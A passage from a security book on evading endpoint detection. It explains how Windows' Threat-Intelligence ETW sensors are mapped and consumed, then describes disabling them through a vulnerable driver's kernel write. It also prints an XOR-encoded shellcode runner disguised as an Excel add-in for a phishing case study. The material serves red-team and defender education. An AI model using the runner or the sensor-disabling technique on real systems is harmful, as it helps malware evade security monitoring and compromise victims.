analyzed, collects the attributes of inter- est, and creates new JSON objects for ingestion by Neo4j. To map the paths related to the EtwTi sensors, we must first load and analyze ntoskrnl.exe, the kernel image, in Ghidra. Then we can load the Python script into Ghidra’s Script Manager and execute it. This will create a file, xrefs.json, that we can load into Neo4j. It contains the Cypher commands shown in Listing 12-11. CREATE CONSTRAINT function_name ON (n:Function) ASSERT n.name IS UNIQUE CALL apoc.load.json("file:///xref.json") YIELD value UNWIND value as func MERGE (n:Function {name: func.FunctionName}) SET n.entrypoint=func.EntryPoint WITH n, func UNWIND func.CalledBy as cb MERGE (m:Function {name:cb}) MERGE (m)-[:Calls]->(n) Listing 12-11: Loading call trees into Ghidra Evading EDR (Early Access) © 2023 by Matt Hand Microsoft-Windows-Threat-Intelligence   223 After importing the JSON file into Neo4j, we can query the dataset using Cypher. Viewing the Call Trees To make sure everything is set up correctly, let’s write a query to map the path to the EtwTiLogProtectExecVm sensor. In plain English, the query in Listing 12-12 says, “Return the shortest paths of any length from any func- tion name that begins with Nt to the sensor function we specify.” MATCH p=shortestPath((f:Function)-[rCalls*1..]->(t:Function {name: "EtwTiLogProtectExecVm"})) WHERE f.name STARTS WITH ‘Nt’ RETURN p; Listing 12-12: Mapping the shortest paths between Nt functions and the EtwTiLogProtectExecVm sensor When entered into Neo4j, it should display the path shown in Figure 12-3. Figure 12-3: A simple path between a syscall and an EtwTi function The call trees for other sensors are far more complex. For example, the nt!EtwTiLogMapExecView() sensor’s call tree is 12 levels deep, leading all the way back to nt!NtCreatePagingFile(). You can see this by modifying the sen- sor name in the previous query, generating the path in Figure 12-4. Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls Calls NtReplaceParti… EtwTiLogMapE… NtSetInformatio… NtMapViewOfS… NtSetSystemInf… NtCreateUserP… NtMapViewOfS… NtManageHotP… NtCreateProcess NtCreateProce… NtCreatePartition NtSetSystemP… IoReplacePartit… PnpReplacePa… PnprLoadPlugi… MmLoadSyste… MiApplyRequir… MiLoadHotPatch MiHotPatchAllP… MiHotPatchPro… MiHotPatchIma… MiPerformImag… MiMapViewOfS… FUN_1407f43ae FUN_1405df72c MiSetImageHot… PspAllocatePro… MmInitializePro… MiMapProcess… MmMapViewOf… PspCreateProc… PspAllocatePar… PspCreateParti… PsCreateMinim… PopTransitionS… PopAllocateHib… IoGetDumpStack IopLoadCrashd… Figure 12-4: Paths from nt!NtCreatePagingFile() to nt!EtwTiLogMapExecView() Evading EDR (Early Access) © 2023 by Matt Hand 224   Chapter 12 As this example demonstrates, many syscalls indirectly hit the sensor. Enumerating these can be useful if you’re looking for coverage gaps, but the amount of information generated can quickly become overwhelming. You might want to scope your queries to a depth of three to four levels (representing two or three calls); these should return the APIs that are directly responsible for calling the sensor function and hold the conditional logic to do so. Using the previous example, a scoped query would show that the syscall ntdll!NtMapViewOfSection() calls the sensor function directly, while the syscall ntdll!NtMapViewOfSectionEx() calls it indirectly via a memory man- ager function, as shown in Figure 12-5. Figure 12-5: Scoped query that returns more useful results Performing this analysis across EtwTi sensor functions yields informa- tion about their callers, both direct and indirect. Table 12-2 shows some of these mappings. Table 12-2: EtwTi Sensor-to-Syscall Mappings Sensor Call tree from syscall (depth = 4) EtwTiLogAllocExecVm MiAllocateVirtualMemory← NtAllocateVirtualMemory EtwTiLogDriverObjectLoad IopLoadDriver← IopLoadUnload Driver ← IopLoadDriverImage← NtLoadDriverIopLoadDriver← IopLoadUnloadDriver← IopUnload Driver← NtUnloadDriver EtwTiLogInsertQueueUserApc There are other branches of the call tree that lead to system calls, such as nt!IopCompleteRequest(), nt!PspGetConte xtThreadInternal(), and nt!PspSetContex tThreadInternal(), but these aren’t particu- larly useful, as many internal functions rely on these functions regardless of whether the APC is being created explicitly. KeInsertQueueApc← NtQueueApcThread KeInsertQueueApc← NtQueueApcThreadEx EtwTiLogMapExecView NtMapViewOfSectionMiMapView Of SectionExCommon← NtMap ViewOfSectionEx EtwTiLogProtectExecVm NtProtectVirtualMemory Evading EDR (Early Access) © 2023 by Matt Hand Microsoft-Windows-Threat-Intelligence   225 Sensor Call tree from syscall (depth = 4) EtwTiLogReadWriteVm MiReadWriteVirtualMemory← NtReadVirtualMemoryMiReadWrite Virtual Memory← NtRead VirtualMemoryExMiReadWriteVirtual Memory← NtWrite VirtualMemory EtwTiLogSetContextThread PspSetContextThreadInternal← NtSetContextThread EtwTiLogSuspendResumeThread This sensor has additional paths that are not listed and are tied to debugging APIs, including ntdll!NtDebugActiveProcess(), ntdll!NtDebugContinue(), and ntdll!NtRe moveProcessDebug(). PsSuspendThread← NtSuspendThreadPsSuspendThread← NtChangeThreadStatePsSuspend Thread← PsSuspendProcess← NtSuspendProcessPsMultiResume Thread← NtResumeThread An important fact to consider when reviewing this dataset is that Ghidra does not factor conditional calls in its call trees but rather looks for call instructions inside functions. This means that while the graphs gener- ated from the Cypher queries are technically correct, they may not be fol- lowed in all instances. To demonstrate this, an exercise for the reader is to reverse ntdll!NtAllocateVirtualMemory() to find where the determination to call the nt!EtwTiLogAllocExecVm() sensor is made. Consuming EtwTi Events In Chapter 8, you learned how EDRs consume events from other ETW pro- viders. To try consuming ETW events from EtwTi, run the commands in Listing 12-13 from an elevated command prompt. PS > logman.exe create trace EtwTi -p Microsoft-Windows-Threat-Intelligence -o C:\EtwTi.etl PS > logman.exe start EtwTi Listing 12-13: Logman commands to collect events from the EtwTi provider You’ll probably receive an access denied error, despite having run the commands in high integrity. This is due to a security feature implemented by Microsoft in Windows 10 and later versions called Secure ETW, which prevents malware processes from reading or tampering with antimal- ware traces. To accomplish this, Windows allows only processes with the PS_PROTECTED_ANTIMALWARE_LIGHT protection level and services started with the SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT service protection type to con- sume events from the channel. Let’s explore process protection so that you can better understand how consuming events from EtwTi works. Understanding Protected Processes Process protections allow sensitive processes, such as those that interact with DRM-protected content, to evade interaction by outside processes. Table 12-2: EtwTi Sensor-to-Syscall Mappings (continued) Evading EDR (Early Access) © 2023 by Matt Hand 226   Chapter 12 While originally created for software such as media players, the introduc- tion of Protected Process Light (PPL) eventually extended this protection to other types of applications. In modern versions of Windows, you’ll find PPL used heavily by not only Windows components but also third-party applications, as seen in the Process Explorer window in Figure 12-6. Figure 12-6: Protection levels across various processes You can view a process’s protection state in the protection field of the EPROCESS structure that backs every process on Windows. This field is of the type PS_PROTECTION, which is defined in Listing 12-14. typedef struct _PS_PROTECTION { union { UCHAR Level; struct { UCHAR Type : 3; UCHAR Audit : 1; UCHAR Signer : 4; }; }; } PS_PROTECTION, *PPS_PROTECTION; Listing 12-14: The PS_PROTECTION structure definition The Type member of PS_PROTECTION correlates to a value in the PS_PROTECTED_TYPE enumeration, defined in Listing 12-15. kd> dt nt!_PS_PROTECTED_TYPE PsProtectedTypeNone = 0n0 PsProtectedTypeProtectedLight = 0n1 PsProtectedTypeProtected = 0n2 PsProtectedTypeMax = 0n3 Listing 12-15: The PS_PROTECTED_TYPE enumeration Lastly, the Signer member is a value from the PS_PROTECTED_SIGNER enu- meration, defined in Listing 12-16. kd> dt nt!_PS_PROTECTED_SIGNER PsProtectedSignerNone = 0n0 PsProtectedSignerAuthenticode = 0n1 PsProtectedSignerCodeGen = 0n2 PsProtectedSignerAntimalware = 0n3 Evading EDR (Early Access) © 2023 by Matt Hand Microsoft-Windows-Threat-Intelligence   227 PsProtectedSignerLsa = 0n4 PsProtectedSignerWindows = 0n5 PsProtectedSignerWinTcb = 0n6 PsProtectedSignerWinSystem = 0n7 PsProtectedSignerApp = 0n8 PsProtectedSignerMax = 0n9 Listing 12-16: The PS_PROTECTED_SIGNER enumeration As an example, let’s take a look at the process protection state of msmpeng.exe, Microsoft Defender’s primary process, using WinDbg, as dem- onstrated in Listing 12-17. kd> dt nt!_EPROCESS Protection +0x87a Protection : _PS_PROTECTION kd> !process 0 0 MsMpEng.exe PROCESS ffffa608af571300 SessionId: 0 Cid: 1134 Peb: 253d4dc000 ParentCid: 0298 DirBase: 0fc7d002 ObjectTable: ffffd60840b0c6c0 HandleCount: 636. Image: MsMpEng.exe kd> dt nt!_PS_PROTECTION ffffa608af571300 + 0x87a +0x000 Level : 0x31 ‘1’ +0x000 Type 1 : 0y001 +0x000 Audit : 0y0 +0x000 Signer 2 : 0y0011 Listing 12-17: Evaluating msmpeng.exe’s process protection level The process’s protection type is PsProtectedTypeProtectedLight 1 and its signer is PsProtectedSignerAntimalware (a value equivalent to 3 in decimal) 2. With this protection level, also referred to as PsProtectedSignerAntimalware -Light, outside processes have limited ability to request access to the pro- cess, and the memory manager will prevent improperly signed modules (such as DLLs and application compatibility databases) from being loaded into the process. Creating a Protected Process Creating a process to run with this protection level is not as simple as passing flags into kernel32!CreateProcess(), however. Windows validates the image file’s digital signature against a Microsoft-owned root certificate authority used to sign many pieces of software, from drivers to third-party applications. It also validates the file by checking for one of several Enhanced Key Usage (EKU) extensions to determine the process’s granted signing level. If this granted signing level doesn’t dominate the requested signing level, meaning that the signer belongs to the DominateMask member of the RTL_PROTECTED_ACCESS structure, Windows checks whether the signing level is runtime customizable. If so, it checks whether the signing level matches any of the registered runtime signers on the system, and if a Evading EDR (Early Access) © 2023 by Matt Hand 228   Chapter 12 match is found, it authenticates the certificate chain with the runtime signer’s registration data, such as the hash of the signer and EKUs. If all checks pass, Windows grants the requested signature level. Registering an ELAM Driver To create a process or service with the required protection level, a devel- oper needs a signed ELAM driver. This driver must have an embedded resource, MICROSOFTELAMCERTIFICATEINFO, that contains the certificate hash and hashing algorithm used for the executables associated with the user- mode process or service to be protected, along with up to three EKU extensions. The operating system will parse or register this informa- tion at boot via an internal call to nt!SeRegisterElamCertResources() (or an administrator can do so manually at runtime). If registration happens during the boot process, it occurs during pre-boot, before control is handed to the Windows Boot Manager, as shown in the WinDbg output in Listing 12-18. 1: kd> k # Child-SP RetAddr Call Site 00 ffff8308`ea406828 fffff804`1724c9af nt!SeRegisterElamCertResources 01 ffff8308`ea406830 fffff804`1724f1ac nt!PipInitializeEarlyLaunchDrivers+0x63 02 ffff8308`ea4068c0 fffff804`1723ca40 nt!IopInitializeBootDrivers+0x153 03 ffff8308`ea406a70 fffff804`172436e1 nt!IoInitSystemPreDrivers+0xb24 04 ffff8308`ea406bb0 fffff804`16f8596b nt!IoInitSystem+0x15 05 ffff8308`ea406be0 fffff804`16b55855 nt!Phase1Initialization+0x3b 06 ffff8308`ea406c10 fffff804`16bfe818 nt!PspSystemThreadStartup+0x55 07 ffff8308`ea406c60 00000000`00000000 nt!KiStartSystemThread+0x28 Listing 12-18: ELAM resources registered during the boot process You’ll rarely see the manual registration option implemented in enter- prise products, as resources parsed at boot require no further interac- tion at runtime. Still, both options net the same result and can be used interchangeably. Creating a Signature After registration, the driver becomes available for comparison when a signing-level match is found. The rest of this section covers the imple- mentation of the consumer application in the context of an endpoint agent. To create the resource and register it with the system, the devel- oper first obtains a certificate that includes the Early Launch and Code Signing EKUs, either from the certificate authority or generated as a self-signed certificate for test environments. We can create a self-signed certificate using the New-SelfSignedCertificate PowerShell cmdlet, as shown in Listing 12-19. PS > $password = ConvertTo-SecureString -String "ThisIsMyPassword" -Force -AsPlainText PS > $cert = New-SelfSignedCertificate -certstorelocation "Cert:\CurrentUser\My" Evading EDR (Early Access) © 2023 by Matt Hand Microsoft-Windows-Threat-Intelligence   229 >> -HashAlgorithm SHA256 -Subject "CN=MyElamCert" -TextExtension >> @("2.5.29.37={text}1.3.6.1.4.1.311.61.4.1,1.3.6.1.5.5.7.3.3") PS > Export-PfxCertificate -cert $cert -FilePath "MyElamCert.pfx" -Password $password Listing 12-19: Generating and exporting a code-signing certificate This command generates a new self-signed certificate, adds both the Early Launch and Code Signing EKUs, then exports it in .pfx format. Next, the developer signs their executable and any dependent DLLs using this certificate. You can do this using the signtool.exe syntax included in Listing 12-20. PS > signtool.exe sign /fd SHA256 /a /v /ph /f .\MyElamCert.pfx >> /p "ThisIsMyPassword" .\path \to\my\service.exe Listing 12-20: Signing an executable using the generated certificate At this point, the service executable meets the signing requirements to be launched as protected. But before it can be started, the driver’s resource must be created and registered. Creating the Resource The first piece of information needed to create the resource is the To-Be- Signed (TBS) hash for the certificate. The second piece of information is the certificate’s file-digest algorithm. As of this writing, this field can be one of the following four values: 0x8004 (SHA10), x800C (SHA256), 0x800D (SHA384), or 0x800E (SHA512). We specified this algorithm in the /fd parameter when we created the certificate with signtool.exe. We can collect both of these values by using certmgr.exe with the -v argu- ment, as shown in Listing 12-21. PS > .\certmgr.exe -v .\path\to\my\service.exe --snip-- Content Hash (To-Be-Signed Hash):: 04 36 A7 99 81 81 81 07 2E DF B6 6A 52 56 78 24 ‘.6. . . . . . . . .jRVx$’ E7 CC 5E AA A2 7C 0E A3 4E 00 8D 9B 14 98 97 02 ‘..^..|..N. . . . . . .’ --snip-- Content SignatureAlgorithm:: 1.2.840.113549.1.1.11 (sha256RSA) --snip-- Listing 12-21: Retrieving the To Be Signed hash and signature algorithm using cert- mgr.exe The hash is located under Content Hash and the signature algorithm under Content SignatureAlgorithm. Adding a New Resource File Now we can add a new resource file to the driver project with the contents shown in Listing 12-22 and compile the driver. Evading EDR (Early Access) © 2023 by Matt Hand 230   Chapter 12 MicrosoftElamCertificateInfo MSElamCertInfoID { 1, L"0436A799818181072EDFB66A52567824E7CC5EAAA27C0EA34E008D9B14989702\0", 0x800C, L"\0" } Listing 12-22: The MicrosoftElamCertificateInfo resource contents The first value of this resource is the number of entries; in our case, there is only one entry, but there may be up to three. Next is the TBS hash that we collected earlier, followed by the hexadecimal value corresponding to the hashing algorithm used (SHA256 in our case). Finally, there is a field in which we can specify additional EKUs. Developers use these to uniquely identify antimalware components signed by the same certificate authority. For example, if there are two services with the same signer on the host, but only one needs to be launched with the SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT flag, the developer could add a unique EKU when signing that service and add it to the ELAM driver’s resource. The system will then evaluate this additional EKU when starting the service with the Anti-Malware protection level. Since we’re not provid- ing any additional EKUs in our resource, we pass what equates to an empty string. Signing the Resource We then sign the driver using the same syntax we used to sign the service executable (Listing 12-23). PS > signtool.exe sign /fd SHA256 /a /v /ph /f "MyElamCert.pfx" /p "ThisIsMyPassword" >> .\path\to\my\driver.sys Listing 12-23: Signing the driver with our certificate Now the resource will be included in the driver and is ready to be installed. Installing the Driver If the developer wants the operating system to handle loading the cer- tificate information, they simply create the kernel service as described in “Registering an ELAM Driver” on page XX. If they would like to install the ELAM certificate at runtime, they can use a registration function in their agent, such as the one shown in Listing 12-24. BOOL RegisterElamCertInfo(wchar_t* szPath) { HANDLE hELAMFile = NULL; hELAMFile = CreateFileW( Evading EDR (Early Access) © 2023 by Matt Hand Microsoft-Windows-Threat-Intelligence   231 szPath, FILE_READ_DATA, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hELAMFile == INVALID_HANDLE_VALUE) { wprintf(L"[-] Failed to open the ELAM driver. Error: 0x%x\n", GetLastError()); return FALSE; } if (!InstallELAMCertificateInfo(hELAMFile)) { wprintf(L"[-] Failed to install the certificate info. Error: 0x%x\n", GetLastError()); CloseHandle(hELAMFile); return FALSE; } wprintf(L"[+] Installed the certificate info"); return TRUE; } Listing 12-24: Installing the certificate on the system This code first opens a handle to the ELAM driver containing the MicrosoftElamCertificateInfo resource. The handle is then passed to kernel32!I nstallELAMCertificateInfo() to install the certificate on the system. Starting the Service All that is left at this point is to create and start the service with the required protection level. This can be done in any number of ways, but it is most frequently done programmatically using the Win32 API. Listing 12-25 shows an example function for doing so. BOOL CreateProtectedService() { SC_HANDLE hSCM = NULL; SC_HANDLE hService = NULL; SERVICE_LAUNCH_PROTECTED_INFO info; 1 hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (!hSCM) { return FALSE; } 2 hService = CreateServiceW( hSCM, L"MyEtWTiConsumer", L"Consumer service", SC_MANAGER_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, L"\\path\\to\\my\\service.exe", Evading EDR (Early Access) © 2023 by Matt Hand 232   Chapter 12 NULL, NULL, NULL, NULL, NULL); if (!hService) { CloseServiceHandle(hSCM); return FALSE; } info.dwLaunchProtected = SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT; 3 if (!ChangeServiceConfig2W( hService, SERVICE_CONFIG_LAUNCH_PROTECTED, &info)) { CloseServiceHandle(hService); CloseServiceHandle(hSCM); return FALSE; } if (!StartServiceW(hService, 0, NULL)) { CloseServiceHandle(hService); CloseServiceHandle(hSCM); return FALSE; } return TRUE; } Listing 12-25: Creating the consumer service First, we open a handle to the Service Control Manager 1, the operat- ing system component responsible for overseeing all services on the host. Next, we create the base service via a call to kernel32!CreateServiceW() 2. This function accepts information, such as the service name, its display name, and the path to the service binary, and returns a handle to the newly created service when it completes. We then call kernel32!ChangeServic eConfig2W() to set the new service’s protection level 3. When this function completes successfully, Windows will start the pro- tected consumer service, shown running in the Process Explorer window in Figure 12-7. Figure 12-7: EtwTi consumer service running with the required protection level Now it can begin working with events from the EtwTi provider. Processing Events You can write a consumer for the EtwTi provider in virtually the same way as you would for a normal ETW consumer, a process discussed in Chapter 8. Once you’ve completed the protection and signing steps described in the Evading EDR (Early Access) © 2023 by Matt Hand Microsoft-Windows-Threat-Intelligence   233 previous section, the code for receiving, processing, and extracting data from events is the same as for any other provider. However, because the EtwTi consumer service is protected, you might find it difficult to work with events during development, such as by reading printf-style output. Thankfully, the provider’s manifest can provide you with event formats, IDs, and keywords, which can make working with the events much easier. Evading EtwTi Because they live in the kernel, EtwTi sensors provide EDRs with a robust telemetry source that is hard to tamper with. There are, however, a few ways that attackers may either neuter the sensors’ capabilities or at least coexist with them. Coexistence The simplest evasion approach involves using Neo4j to return all syscalls that hit EtwTi sensors, then refraining from calling these functions in your operations. This means you’ll have to find alternative ways to perform tasks such as memory allocation, which can be daunting. For example, Cobalt Strike’s Beacon supports three memory allocation methods: HeapAlloc, MapViewOfFile, and VirtualAlloc. Those last two methods both call a syscall that EtwTi sensors monitor. The first method, on the other hand, calls ntdll!RtlAllocateHeap(), which has no outgoing references to EtwTi functions, making it the safest bet. The downside is that it doesn’t support allocations in remote processes, so you can’t perform process injection with it. As with all telemetry sources in this book, remember that some other source might be covering the gaps in the EtwTi sensors. Using HeapAlloc as an example, endpoint security agents may track and scan executable heap allocations created by user-mode programs. Microsoft may also modify APIs to call the existing sensors or add entirely new sensors at any time. This requires that teams remap the relationships from syscalls to EtwTi sensors on each new build of Windows, which can be time consuming. Trace-Handle Overwriting Another option is to simply invalidate the global trace handle in the kernel. Upayan Saha’s “Data Only Attack: Neutralizing EtwTi Provider” blog post covers this technique in great detail. It requires the operator to have an arbitrary read-write primitive in a vulnerable driver, such as those present in previous versions of Gigabyte’s atillk64.sys and LG Device Manager’s lha.sys, two signed drivers published by the PC hardware and peripheral manufacturers for legitimate device-support purposes. The primary challenge of this technique is locating the TRACE_ENABLE_INFO structure, which defines the information used to enable the provider. Inside Evading EDR (Early Access) © 2023 by Matt Hand 234   Chapter 12 this structure is a member, IsEnabled, that we must manually change to 0 to prevent events from reaching the security product. We can use some of what we’ve already learned about how events are published to help make this process easier. Recall from the previous sections that all sensors use the global EtwThreatIntProvRegHandle REGHANDLE when calling nt!EtwWrite() to emit an event. This handle is actually a pointer to an ETW_REG_ENTRY structure, which itself contains a pointer to an ETW_GUID_ENTRY structure in its GuidEntry mem- ber (offset 0x20), as shown in Listing 12-26. 0: kd> dt nt!_ETW_REG_ENTRY poi(nt!EtwThreatIntProvRegHandle) --snip-- +0x020 GuidEntry : 0xffff8e8a`901f3c50 _ETW_GUID_ENTRY --snip-- Listing 12-26: Getting the address of the ETW_GUID_ENTRY structure This structure is the kernel’s record of an event provider and contains an array of eight TRACE_ENABLE_INFO structures in its EnableInfo member (offset 0x80). Only the first entry, the contents of which are included in Listing 12-27, is used by default. 0: kd> dx -id 0,0,ffff8e8a90062040 -r1 (*((ntkrnlmp!_TRACE_ENABLE_INFO *)0xffff8e8a901f3cd0)) (*((ntkrnlmp!_TRACE_ENABLE_INFO *)0xffff8e8a901f3cd0)) [Type: _TRACE_ENABLE_INFO] 1 [+0x000] IsEnabled : 0x1 [Type: unsigned long] [+0x004] Level : 0xff [Type: unsigned char] [+0x005] Reserved1 : 0x0 [Type: unsigned char] [+0x006] LoggerId : 0x4 [Type: unsigned short] [+0x008] EnableProperty : 0x40 [Type: unsigned long] [+0x00c] Reserved2 : 0x0 [Type: unsigned long] [+0x010] MatchAnyKeyword : 0xdcfa5555 [Type: unsigned __int64] [+0x018] MatchAllKeyword : 0x0 [Type: unsigned __int64] Listing 12-27: Extracting the contents of the first TRACE_ENABLE_INFO structure This member is an unsigned long (really a Boolean, per Microsoft’s documentation) that indicates whether the provider is enabled for the trace session 1. If an attacker can flip this value to 0, they can disable the Microsoft- Windows-Threat-Intelligence provider, preventing the consumer from receiving events. Working back through these nested structures, we can find our target using the following steps: 1. Finding the address of the ETW_REG_ENTRY pointed to by EtwThreatIntRegHandle 2. Finding the address of the ETW_GUID_ENTRY pointed to by the ETW_REG_ENTRY structure’s GuidEntry member (offset 0x20) 3. Adding 0x80 to the address to get the IsEnabled member of the first TRACE_ENABLE_INFO structure in the array Evading EDR (Early Access) © 2023 by Matt Hand Microsoft-Windows-Threat-Intelligence   235 Finding the address of EtwThreatIntProvRegHandle is the most challenging part of this technique, as it requires using the arbitrary read in the vulner- able driver to search for a pattern of opcodes that work with the pointer to the structure. According to his blog post, Saha used nt!KeInsertQueueApc() as the start- ing point of the search, as this function is exported by ntoskrnl.exe and refer- ences the address of the REGHANDLE in an early call to nt!EtwProviderEnabled. Per the Windows calling convention, the first parameter passed to a func- tion is stored in the RCX register. Therefore, this address will be placed into the register prior to the call to nt!EtwProviderEnabled using a MOV instruc- tion. By searching for the opcodes 48 8b 0d corresponding to mov rcx,qword ptr [x] from the function entry point until the call to nt!EtwProviderEnabled, we can identify the virtual address of the REGHANDLE. Then, using the offsets identified earlier, we can set its IsEnabled member to 0. Another method of locating EtwThreatIntProvRegHandle is to use its offset from the base address of the kernel. Due to kernel address space layout randomization (KASLR), we can’t know its full virtual address, but its off- set has proven to be stable across reboots. For example, on one build of Windows, this offset is 0xC197D0, as shown in Listing 12-28. 0: kd> vertarget --snip-- Kernel base = 0xfffff803`02c00000 PsLoadedModuleList = 0xfffff803`0382a230 --snip-- 0: kd> x /0 nt!EtwThreatIntProvRegHandle fffff803`038197d0 0: kd> ? fffff803`038197d0 - 0xfffff803`02c00000 Evaluate expression: 12687312 = 00000000`00c197d0 Listing 12-28: Finding the offset to the REGHANDLE The last line in this listing subtracts the base address of the kernel from the address of the REGHANDLE. We can retrieve this base address relatively easily from user mode by running ntdll!NtQuerySystemInformat ion() with the SystemModuleInformation information class, demonstrated in Listing 12-29. void GetKernelBaseAddress() { NtQuerySystemInformation pfnNtQuerySystemInformation = NULL; HMODULE hKernel = NULL; HMODULE hNtdll = NULL; RTL_PROCESS_MODULES ModuleInfo = { 0 }; hNtdll = GetModuleHandle(L"ntdll"); 1 pfnNtQuerySystemInformation = (NtQuerySystemInformation)GetProcAddress( hNtdll, "NtQuerySystemInformation"); Evading EDR (Early Access) © 2023 by Matt Hand 236   Chapter 12 pfnNtQuerySystemInformation( 2 SystemModuleInformation, &ModuleInfo, sizeof(ModuleInfo), NULL); wprintf(L"Kernel Base Address: %p\n", 3 (ULONG64)ModuleInfo.Modules[0].ImageBase); } Listing 12-29: Getting the base address of the kernel This function first gets a function pointer to ntdll!NtQuerySystemInformat ion() 1 and then invokes it, passing in the SystemModuleInformation informa- tion class 2. Upon completion, this function will populate the RTL_PROCESS _MODULES structure (named ModuleInfo), at which point the address of the ker- nel can be retrieved by referencing the ImageBase attribute of the first entry in the array 3. You’ll still require a driver with a write-what-where primitive to patch the value, but using this approach avoids us having to parse memory for opcodes. This technique also introduces the problem of tracking offsets to EtwThreatIntProvRegHandle across all kernel versions on which they operate, however, so it isn’t without its own challenges. Additionally, those who employ this technique must also consider the telemetry it generates. For instance, loading a vulnerable driver is harder on Windows 11, as Hypervisor-Protected Code Integrity is enabled by default, which can block drivers known to contain vulnerabilities. At the detection level, loading a new driver will trigger the nt!EtwTiLogDriverObject Load() sensor, which may be atypical for the system or environment, causing a response. Conclusion The Microsoft-Windows-Threat-Intelligence ETW provider is one of the most important data sources available to an EDR at the time of this writing. It provides unparalleled visibility into processes executing on the system by sitting inline of their execution, similar to function-hooking DLLs. Despite their likeness, however, this provider and its hooks live in the kernel, where they are far less susceptible to evasion through direct attacks. Evading this data source is more about learning to work around it than it is about find- ing the glaring gap or logical flaw in its implementation. Evading EDR (Early Access) © 2023 by Matt Hand So far, we’ve covered the design of EDRs, the logic of their components, and the internal workings of their sensors. Still, we’ve missed one critical piece of the puzzle: how to apply this information in the real world. In this final chapter, we’ll systematically analyze the actions we’d like to take against target systems and determine our risk of being detected. We’ll target a fictional company, Binford Tools, inventor of the Binford 6100 left-handed screwdriver. Binford has asked us to identify an attack path from a compromised user workstation to a database holding the pro- prietary design information for the 6100. We’re to be as stealthy as possible so that the company can see what its EDR is able to detect. Let’s get started. 13 C A S E S T U DY: A DE T EC T ION - AWA R E AT TACK Evading EDR (Early Access) © 2023 by Matt Hand 238   Chapter 13 The Rules of Engagement Binford’s environment only consists of hosts running up-to-date versions of the Windows operating system, and all authentication is controlled through on-premises Active Directory. Each host has a generic EDR deployed and running, and we aren’t allowed to disable, remove, or unin- stall it at any point. Our point of contact has agreed to provide us with a target email address, which an employee (whom we’ll refer to as the white cell) will moni- tor, clicking whatever links we send to them. However, they won’t add any rule explicitly allowing our payloads past their EDR. This will let us spend less time on social engineering and more time assessing technical detective and preventive measures. Additionally, every employee at Binford has local administrator rights to their workstation, lowering the strain on Binford’s understaffed help desk. Binford has asked that we leverage this fact during the opera- tion so that they can use the results of the engagement to drive a change to their policy. Initial Access We begin by selecting our phishing method. We need fast and direct access to the target’s workstation, so we opt to deliver a payload. Threat intelli- gence reporting at the time of the engagement tells us that the manufac- turing sector is experiencing an uptick in malware dropped using Excel Add-In (XLL) files. Attackers have routinely abused XLL files, which allow developers to create high-performance Excel worksheet functions, to estab- lish a foothold through phishing. To mimic attacks Binford may respond to in the future, we opt to use this format as our payload. XLL files are really just DLLs that are required to export an xlAutoOpen() function (and, ideally, its complement, xlAuto- Close()), so we can use a simple shellcode runner to speed up the develop- ment process. Writing the Payload Already, we must make a detection-related design decision. Should the shellcode be run locally, in the excel.exe process, where it will be tied to the lifetime of that process, or should it be run remotely? If we created our own host process and injected into it, or if we targeted an existing process, our shellcode could live longer but have a higher risk of detection due to excel. exe spawning a child process and the artifacts of remote process injection being present. As we can always phish more later, we’ll opt to use the local runner and avoid prematurely tripping any detections. Listing 13-1 shows what our XLL payload code looks like. Evading EDR (Early Access) © 2023 by Matt Hand Case Study: A Detection-Aware Attack   239 #define WIN32_LEAN_AND_MEAN #include <windows.h> BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } extern "C" __declspec(dllexport) short __stdcall xlAutoOpen() { 1 const char shellcode[] = --snip-- const size_t lenShellcode = sizeof(shellcode); char decodedShellcode[lenShellcode]; 2 const char key[] = "specter"; int j = 0; for (int i = 0; i < lenShellcode; i++) { if (j == sizeof(key) - 1) { j = 0; } 3 decodedShellcode[i] = shellcode[i] ^ key[j]; j++; } 4 PVOID runIt = VirtualAlloc(0, lenShellcode, MEM_COMMIT, PAGE_READWRITE); if (runIt == NULL) { return 1; } 5 memcpy(runIt, decodedShellcode, lenShellcode); Evading EDR (Early Access) © 2023 by Matt Hand 240   Chapter 13 DWORD oldProtect = 0; 6 VirtualProtect(runIt, lenShellcode, PAGE_EXECUTE_READ, &oldProtect); 7 CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)runIt, NULL, NULL, NULL); Sleep(1337); return 0; } Listing 13-1: The XLL payload source code This local shellcode runner is similar to many DLL-based payloads. The exported xlAutoOpen() function begins with a chunk of shellcode (trun- cated for brevity) 1 that has been XOR-encrypted using the string specter as the key 2. The first action this function takes is decrypting the shellcode using this symmetric key 3. Next, it creates a memory allocation tagged with read-write permissions using kernel32!VirtualAlloc() 4 and then copies the decrypted shellcode into it 5 ahead of execution. The function then changes the memory permissions of the new buffer to tag it as executable 6. Finally, the pointer to the buffer is passed to kernel32!CreateThread(), which executes the shellcode in a new thread 7, still under the context of excel.exe. Delivering the Payload We’ll assume that Binford’s inbound mail-filtering system allows XLL files to reach users’ inboxes, and we send our file to the white cell. Because the XLL needs to be run from disk, the white cell will download it to the inter- nal host on which the EDR is deployed. When the white cell executes the XLL, a few things will happen. First, excel.exe will be started with the path to the XLL passed in as a parameter. The EDR almost certainly collects this information from its driver’s process- creation callback routine (though the Microsoft-Windows-Kernel-Process ETW provider can provide most of the same information). The EDR may have a generic detection built around the execution of XLL files, which the process command line could trigger, causing an alert. Additionally, the EDR’s scanner may conduct an on-access scan of the XLL file. The EDR will collect attributes of the file, assess its contents, and attempt to decide whether the content should be allowed to run. Let’s say that we did such a great job obfuscating our payload that the shellcode and associated runner inside weren’t detected by the scanner. We’re not in the clear yet, though. Remember that most EDRs are deployed in multiple large environments and process large amounts of data. With this perspective, EDRs can assess the global uniqueness of a file, Evading EDR 